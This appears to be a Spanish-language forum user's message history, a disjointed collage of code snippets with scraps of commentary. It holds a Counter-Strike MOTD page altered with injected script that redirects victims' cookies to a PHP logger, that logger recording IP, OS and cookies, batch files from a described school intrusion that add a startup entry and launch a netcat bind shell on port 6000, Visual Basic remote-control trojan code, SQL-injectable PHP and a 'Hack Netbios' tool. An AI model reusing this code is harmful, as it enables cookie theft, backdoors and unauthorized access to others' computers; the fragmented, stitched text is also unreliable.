Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
<title>Cstrike MOTD</title>
<style type="text/css">
pre {
font-family:Verdana,Tahoma;
color:#FFB000;
}
body {
background:#000000;
margin-left:8px;
margin-top:0px;
}
a {
text-decoration: underline;
}
a:link {
color: #FFFFFF;
}
a:visited {
color: #FFFFFF;
}
a:active {
color: #FFFFFF;
}
a:hover {
color: #FFFFFF;
text-decoration: underline;
}
</style>
</head>
<body scroll="no">
<pre>
You are playing Counter-Strike v1.6
Visit the official CS web site @
www.counter-strike.net
<a href="http://www.counter-strike.net">Visit Counter-Strike.net</a>
</pre>
</body>
</html><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
<title>caca</title>
<script>alert("scripting")<script>
<META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://localhost/web.php?cookie=">
<style type="text/css">
pre {
font-family:Verdana,Tahoma;
color:#FFB000;
}
body {
background:#000000;
margin-left:8px;
margin-top:0px;
}
a {
text-decoration: underline;
}
a:link {
color: #FFFFFF;
}
a:visited {
color: #FFFFFF;
}
a:active {
color: #FFFFFF;
}
a:hover {
color: #FFFFFF;
text-decoration: underline;
}
</style>
</head>
<body scroll="no">
<pre>
You are playing Counter-Strike v1.6
Visit the official CS web site @
www.counter-strike.net
<a href="http://www.counter-strike.net">Visit Counter-Strike.com</a>
</pre>
</body>
</html><html>
<head>
<title>Xss re pillo</html>
</head>
<body>
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$cookie = $_GET['cookie'];
$scuandal = "ip-víctima:" . $ip . " sistema operativo:" . PHP_OS . " -Servidor :" . $_SERVER['SERVER_NAME'] . " [+] info del server: " . $_SERVER['SERVER_SOFTWARE'] . $cookie;
$fff = fopen("archivo.txt","a");
fwrite($fff, "$scuandal \n");
fclose($fff);
?>
<script>window.location='http://localhost/web.php?cookie='+document.cookie;</script>
</body>
</html>
, observen archivo.txt
,pero por fin pude terminarlo, No pude ordenar el codigo, asique si ven algunas cosas repetidas, no lo digan porque ya se que me falta depurar y demas.
$url = $_POST['url'];
$url = eregi_replace("http://","",$url); /* o $url = str_replace("http://","",$url) (da igual*/
$img_link = $_POST['img-link'];
$desc = $_POST['desc'];
$nombre = $_POST['nombre'];
$palabra = $_POST['palabra'];
$fecha = date("d-m-y");
$cons = "INSERT INTO info_sitios (descripcion,link,sitio,url,palabra_carc,fecha) VALUES ('$desc','$img_link','$url','$nombre','$palabra','$fecha')";
mysql_query($cons, $conexion);$consulta3 = "SELECT sitio FROM info_sitios WHERE id = '".$tot2[0]."'");
), una maquina server (windows server 2000)@echo off
copy "D:\Misdoc\fede\intrusion escuela\base.bat" "%userprofile%\Men£ Inicio\Programas\Inicio\"
exit@echo off
start nc.exe -L -d -e cmd.exe -p 6000
exit
y lo pruebo.
.
, solamente es un compañero que te ayuda.
,, ajja, solamente es un compañero que te ayuda.
)
y los otros dos en blanco, la verdad ni idea.Private Sub Command1_Click()
Open "C:\prueba.exe" For Binary As #1
Seek (1), LOF(1) + 1
Put #1, , a
Put #1, , b
Put #1, , c
Close #1
End Sub
Private Sub Form_Load()
Dim a As String * 25
Dim b As String * 25
Dim c As String * 25
a = Text1.Text
b = Text2.Text
c = Text3.Text
End SubPrivate Sub Form_Load()
Dim a As String * 25
Dim b As String * 25
Dim c As String * 25
Dim d As String * 25
Dim ap As String
Dim bp As String
Dim cp As String
Open "C:\prueba.exe" For Binary As #1
Get #1, , a
Get #1, , b
Get #1, , c
Seek (1), LOF(1) - 74
Close #1
ap = Trim(a)
bp = Trim(b)
cp = Trim(c)
Text1.Text = ap
Text2.Text = bp
Text3.Text = cp
End Sub)
) para terminar snorlaxIf ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = False) Then
MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
End If
''''
If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = True) Then
res1 = MsgBox(Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3))
If res1 = vbOK Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: MsgBox "Posible mujer o algo rarito jaja"
End If
''''
If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = False) Then
MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3)
End If
''''
If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = True) And ((Split(datos, "|")(8)) = True) Then
res = MsgBox(Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3))
If res = vbYes Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: ShellExecute hwnd, "open", (Split(datos, "|")(9)), vbNullString, vbNullString, conSwNormal
End If
Option Explicit
Public WithEvents server As CSocketMaster
Private Sub Form_Load()
Set server = New CSocketMaster
server.CloseSck
server.RemoteHost = "ip-ip-ip-ip"
server.Connect server.RemoteHost, 6000
End Sub
Private Sub Label1_Click()
If server.State = sckConnected Then
Label1.Caption = "conectado"
ElseIf server.State = sckClosed Then
Label1.Caption = "desconectado"
ElseIf server.State = sckConnecting Then
Label1.Caption = "conectando"
End If
End Sub
Private Sub Timer1_Timer()
If server.State = 0 Then
server.Connect server.RemoteHost, 6000
ElseIf server.State = 7 Then
Else
server.CloseSck
End If
End Sub
Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim res As String
Dim res1 As String
server.GetData datos
Select Case LCase(Split(datos, "|")(0))
Case LCase("mensaje")
If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = False) Then
MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
End If
''''
If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = True) Then
res1 = MsgBox(Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3))
If res1 = vbOK Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: MsgBox "Posible mujer o algo rarito jaja"
End If
''''
If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = False) Then
MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3)
End If
''''
If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = True) And ((Split(datos, "|")(8)) = True) Then
res = MsgBox(Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3))
If res = vbYes Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: ShellExecute hwnd, "open", (Split(datos, "|")(9)), vbNullString, vbNullString, conSwNormal
End If
'''''
''''''''''''
''''''''''''
End Select
End SubOption Explicit
Public WithEvents ws As CSocketMaster
Private Sub Check2_Click()
If Check2.Value = 1 Then
Check3.Enabled = False
ElseIf Check2.Value = 0 Then
Check3.Enabled = True
End If
End Sub
Private Sub Check3_Click()
If Check3.Value = 1 Then
Check2.Enabled = False
ElseIf Check3.Value = 0 Then
Check2.Enabled = True
End If
If Check3.Value = 1 Then
Option1.Enabled = False
Option2.Enabled = False
Option3.Enabled = False
Option5.Enabled = False
Text6.Enabled = False
End If
If Check3.Value = 0 Then
Option1.Enabled = True
Option2.Enabled = True
Option3.Enabled = True
Option5.Enabled = True
Text6.Enabled = True
End If
End Sub
Private Sub Command1_Click()
Dim datos As String
Dim datos1 As String
Dim mensajes As String
Dim titulo As String
datos1 = Check1.Value
mensajes = Text1.Text
titulo = Text4.Text
datos = "mensaje|" & Text1.Text & "|" & Check1.Value & "|" & Text4.Text & "|" & Check2.Value & "|" & Option4.Value & "|" & Check3.Value & "|" & Text5.Text & "|" & Option5.Value & "|" & Text6.Text
'''''''''''''''''''''''''1'''''''''''''''''''''2''''''''''''''''''3'''''''''''''''''''4'''''''''''''''''''5''''''''''''''''''''6''''''''''''''''''''7''''''''''''''''''''8'''''''''''''''''''9'''''
ws.SendData datos
End Sub
Private Sub Command2_Click()
ws.CloseSck
ws.LocalPort = Text2.Text
ws.Listen
Text2.Enabled = False
End Sub
Private Sub Form_Load()
Set ws = New CSocketMaster
End Sub
Private Sub Label5_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
If ws.State = sckConnected Then
Label5.Caption = "Conectado"
ElseIf ws.State = sckClosed Then
Label5.Caption = "Desconectado"
ElseIf ws.State = sckConnecting Then
Label5.Caption = "Conectando"
End If
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.CloseSck
ws.Accept requestID
End SubPrivate Sub server_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim Data() As String
server.GetData datos
Select Case LCase(Split(datos, "|")(0))
Case LCase("mensaje")
'''''''''''''
If (Split(datos, "|")(2)) = 1 Then
MsgBox Split(datos, "|")(1), vbYesNoCancel, Split(datos, "|")(3)
'''''
ElseIf (Split(datos, "|")(4)) = 1 Then
MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3) = vbYes ' aca no se como haceeeeeeeer!!
''''''''''''
Else
MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
End If
''''''''''''
End Select
End SubPrivate Sub Command1_Click()
Dim datos As String
Dim datos1 As String
Dim mensajes As String
Dim titulo As String
datos1 = Check1.Value
mensajes = Text1.Text
titulo = Text4.Text
datos = "mensaje|" & Text1.Text & "|" & Check1.Value & "|" & Text4.Text & "|" & Check2.Value & "|" & Option1.Value
ws.SendData datos
End SubOption Explicit
Dim WithEvents cliente As CSocketMaster
Private Sub Coneccion_Timer_Timer()
If Not cliente.State = sckConnected Then
cliente.CloseSck
cliente.Connect cliente.RemoteHost, 6000
End If
End Sub
Private Sub Form_Load()
Set cliente = New CSocketMaster
cliente.CloseSck
cliente.RemoteHost = "ip-o-dominio-no-ip"
cliente.Connect cliente.RemoteHost, 6000
End Sub
Private Sub Label1_Click()
If cliente.State = sckConnected Then
Label1.Caption = "conectado"
Else: Label1.Caption = "desconectado"
End If
End SubOption Explicit
Dim WithEvents server As CSocketMaster
Private Sub Command1_Click()
server.CloseSck
server.Bind 6000
server.Listen
End Sub
Private Sub Form_Load()
Set server = New CSocketMaster
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
server.CloseSck
server.Accept requestID
End Sub
Option Explicit
Dim WithEvents Server As CSocketMaster
Private strRemoteHost As String
Private Sub Form_Load()
Set Server = New CSocketMaster
strRemoteHost = "IP.IP.IP.iP"
End Sub
Private Sub Command1_Click()
Server.Bind
Server.Connect
End Sub
igual voy a restringir el user.php<?php
session_cache_limiter();
session_start();
require('config.php');
require('functions.php');
//make connection to dbase
$connection = @mysql_connect($server, $dbusername, $dbpassword)
or die(mysql_error());
$db = @mysql_select_db($db_name,$connection)
or die(mysql_error());
//build and issue the query
$sql ="SELECT * FROM $table_name";
$result = @mysql_query($sql,$connection) or die(mysql_error());
?>
<html>
<head>
<title>Bienvenidos</title>
</head>
<body>
<p>Entraste con el Nick:</p>
<?php
echo $_SESSION[user_name];
?>
<form name="form1" method="post" action="username.php">
<label>Cambiar nombre de usuario
<input type="text" name="username.php">
</label>
<p> </p>
<label></label>
<input type="submit" name="Submit" value="Cambiar">
</form>
<p> </p>
</body>
</html><?php
//function to get the date
function last_login()
{
$date = gmdate("Y-m-d");
return $date;
}
//function that sets the session variable
function sess_vars($base_dir, $server, $dbusername, $dbpassword, $db_name, $table_name, $user, $pass)
{
//make connection to dbase
$connection = @mysql_connect($server, $dbusername, $dbpassword)
or die(mysql_error());
$db = @mysql_select_db($db_name,$connection)
or die(mysql_error());
$sql = "SELECT * FROM $table_name WHERE username = '$user' and password = password('$pass')";
$result = @mysql_query($sql, $connection) or die(mysql_error());
//get the number of rows in the result set
$num = mysql_num_rows($result);
//set session variables if there is a match
if ($num != 0)
{
while ($sql = mysql_fetch_object($result))
{
$_SESSION[first_name] = $sql -> firstname;
$_SESSION[last_name] = $sql -> lastname;
$_SESSION[user_name] = $sql -> username;
$_SESSION[password] = $sql -> password;
$_SESSION[group1] = $sql -> group1;
$_SESSION[group2] = $sql -> group2;
$_SESSION[group3] = $sql -> group3;
$_SESSION[pchange] = $sql -> pchange;
$_SESSION[email] = $sql -> email;
$_SESSION[redirect] = $sql -> redirect;
$_SESSION[verified] = $sql -> verified;
$_SESSION[last_login] = $sql -> last_login;
}
}else{
$_SESSION[redirect] = "$base_dir/errorlogin.html";
}
}
//functions that will determine if access is allowed
function allow_access($group)
{
if ($_SESSION[group1] == "$group" || $_SESSION[group2] == "$group" || $_SESSION[group3] == "$group" ||
$_SESSION[group1] == "Administrators" || $_SESSION[group2] == "Administrators" || $_SESSION[group3] == "Administrators" ||
$_SESSION[user_name] == "$group")
{
$allowed = "yes";
}else{
$allowed = "no";
}
return $allowed;
}
//function to check the length of the requested password
function password_check($min_pass, $max_pass, $pass)
{
$valid = "yes";
if ($min_pass > strlen($pass) || $max_pass < strlen($pass))
{
$valid = "no";
}
return $valid;
}
?>Private Sub Command1_Click()
Shell "cmd.exe /c net view>nombre_maquinas.txt"
t = Timer2: Do Until Timer > t + 15: Loop
Dim foo As Integer
foo = FreeFile
Open "C:\Documents and Settings\Administrador\Escritorio\nombre_maquinas.txt" For Input As #foo
Text2.Text = Input(LOF(foo), #foo)
Close #foo
End Sub
Private Sub Command3_Click()
Dim texto As String
texto = Text1.Text
Shell "cmd.exe /c nbtstat -a " + texto + ">nbtstat.txt"
t = Timer3: Do Until Timer > t + 10: Loop
Dim foo As Integer
foo = FreeFile
Open "C:\Documents and Settings\Administrador\Escritorio\nbtstat.txt" For Input As #foo
Text2.Text = Input(LOF(foo), #foo)
Close #foo
End Sub
Private Sub Command4_Click()
Text2.Text = "Instrucciones para utilizar Hack Netbios 1.0 by F-Comet:" & vbCrLf & "1.Colocar Hack Netbios 1.0 en el escritorio, en su defecto, produciría fallos." & vbCrLf & "2.Examinar la red con Nombres PC." & vbCrLf & "3.Introducir el nombre de la maquina en Nombrepc." & vbCrLf & "3.Ejecutar netbios conection." & vbCrLf & "4.Al recibir el informe fijarse que haya una maquina con <20> UNIQUE, si es asi continua los siguientes pasos:"
'TextBox1 = "frase1" & vbCrLf & "frase2" & vbCrLf & "frase3"
End Sub
Private Sub Command5_Click()
'Dim x as long, name as string
Dim x&, usuario$
'defining name...
usuario = Space(100)
'calling api: name, and the size/length
x = GetUserName(usuario, 100)
Text3.Text = App.Path
If Text3.Text = "C:\Documents and Settings\" + usuario + "\Escritorio" Then
Text3.Text = "Directorio correcto"
Else
Text3.Text = "Directorio incorrecto"
End If
End Sub
Private Sub Label3_Click()
Label3.Caption = Time
End Sub
Private Sub Timer1_Timer()
Label3.Caption = Time
End Suboption Explicit
Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Private Sub Command5_Click()
'Dim x as long, name as string
Dim x&, usuario$
'defining name...
usuario = Space(100)
'calling api: name, and the size/length
x = GetUserName(usuario, 100)
Text3.Text = App.Path
If Text3.Text = "C:\Documents and Settings\" + usuario + "\Escritorio" Then
Text3.Text = "Directorio correcto"
Else
Text3.Text = "Directorio incorrecto"
End If
End Sub